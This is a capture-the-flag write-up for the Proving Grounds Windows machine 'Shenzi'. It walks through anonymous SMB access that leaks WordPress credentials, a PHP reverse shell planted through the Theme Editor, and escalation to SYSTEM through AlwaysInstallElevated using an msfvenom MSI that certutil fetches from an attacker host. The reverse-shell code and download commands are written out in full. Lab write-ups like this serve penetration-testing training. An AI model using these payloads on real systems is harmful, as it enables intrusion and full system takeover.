Skip to content
HackIndex.io

Shenzi Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Shenzi leaks a WordPress admin password through an anonymously readable SMB share, which unlocks the Theme Editor for an authenticated PHP reverse shell. The resulting foothold sits in a position where the Windows Installer policy allows any user to install MSI packages with elevated rights, and a malicious MSI run through msiexec escalates straight to SYSTEM.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV $TARGET_IP 
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     FileZilla ftpd 0.9.41 beta
80/tcp   open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
135/tcp  open  msrpc   Microsoft Windows RPC
139/tcp  open  netbios-ssn
443/tcp  open  ssl/http Apache httpd 2.4.43
445/tcp  open  microsoft-ds
3306/tcp open  mysql   MariaDB

FTP, a Windows SMB stack, and an XAMPP web server. Check SMB for anonymous access first.

SMB share enumeration

┌──(kali㉿kali)-[~]
└─$ netexec smb $TARGET_IP -u '' -p ''
┌──(kali㉿kali)-[~]
└─$ smbclient -N -L \\\\$TARGET_IP\\ 
STATUS_ACCESS_DENIED (netexec null auth)

Sharename       Type      Comment
---------       ----      -------
Shenzi          Disk

netexec rejects the null session, but smbclient -N still lists shares anonymously; worth trying both tools before ruling SMB out. The Shenzi share is readable.

┌──(kali㉿kali)-[~]
└─$ smbclient -N \\\\$TARGET_IP\\Shenzi -c mget * 
Getting file passwords.txt
Getting file readme_en.txt
Getting file xampp-control.ini

passwords.txt holds a WordPress credential pair: admin:$WP_ADMIN_PASSWORD.

Web enumeration

Port 80 serves the default XAMPP page, with a WordPress install at /shenzi/.

Exploitation

WordPress Theme Editor RCE

Log in to /shenzi/wp-login.php with the leaked credentials, then open Appearance → Theme Editor → 404.php on the active Twenty Twenty theme. Replace its contents with a PHP reverse shell and save.

<?php
set_time_limit(0);
$sock = fsockopen("$ATTACKER_IP", $ATTACKER_PORT);
$proc = proc_open("powershell", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);

With the theme file saved, start a listener and request the modified page to trigger it.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/shenzi/wp-content/themes/twentytwenty/404.php

The listener catches a shell as shenzi.

Privilege Escalation

AlwaysInstallElevated

Check the Windows Installer policy in both hives.

PS C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
PS C:\Users\Guest\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
AlwaysInstallElevated    REG_DWORD    0x1
AlwaysInstallElevated    REG_DWORD    0x1

Both HKLM and HKCU are set to 0x1, so any MSI installed through msiexec runs as SYSTEM regardless of who starts it. Build a malicious MSI and serve it.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o shell.msi
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080 
Saved as: shell.msi
Serving HTTP on 0.0.0.0 port 8080 ...

From the shenzi shell, download it to a known-writable path (C:\temp may not exist) and install it quietly.

PS C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$ATTACKER_IP:8080/shell.msi C:\users\shenzi\desktop\shell.msi
PS C:\Users\Guest\Desktop> msiexec /quiet /qn /i C:\users\shenzi\desktop\shell.msi

A second listener catches the SYSTEM callback from the installer.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]

C:\Windows\system32>whoami
nt authority\system

AlwaysInstallElevated hands over a shell as nt authority\system, no exploit code required beyond the policy misconfiguration itself.

Related

Sensitive Files on SMB Shares
Blog

Sensitive Files on SMB Shares
Low-Privileged SMB Share Access
Blog

Low-Privileged SMB Share Access

Enumerate SMB shares with low-privileged credentials to identify misconfigurations, exposed sensitiv...
WordPress Exploitation
Blog

WordPress Exploitation

Covers exploiting WordPress vulnerabilities including plugin/theme CVEs, xmlrpc abuse, credential at...
AlwaysInstallElevated – MSI Installer Privilege Escalation
Blog

AlwaysInstallElevated – MSI Installer Privilege Escalation

Exploits misconfigured AlwaysInstallElevated registry keys to run malicious MSI packages with SYSTEM...

References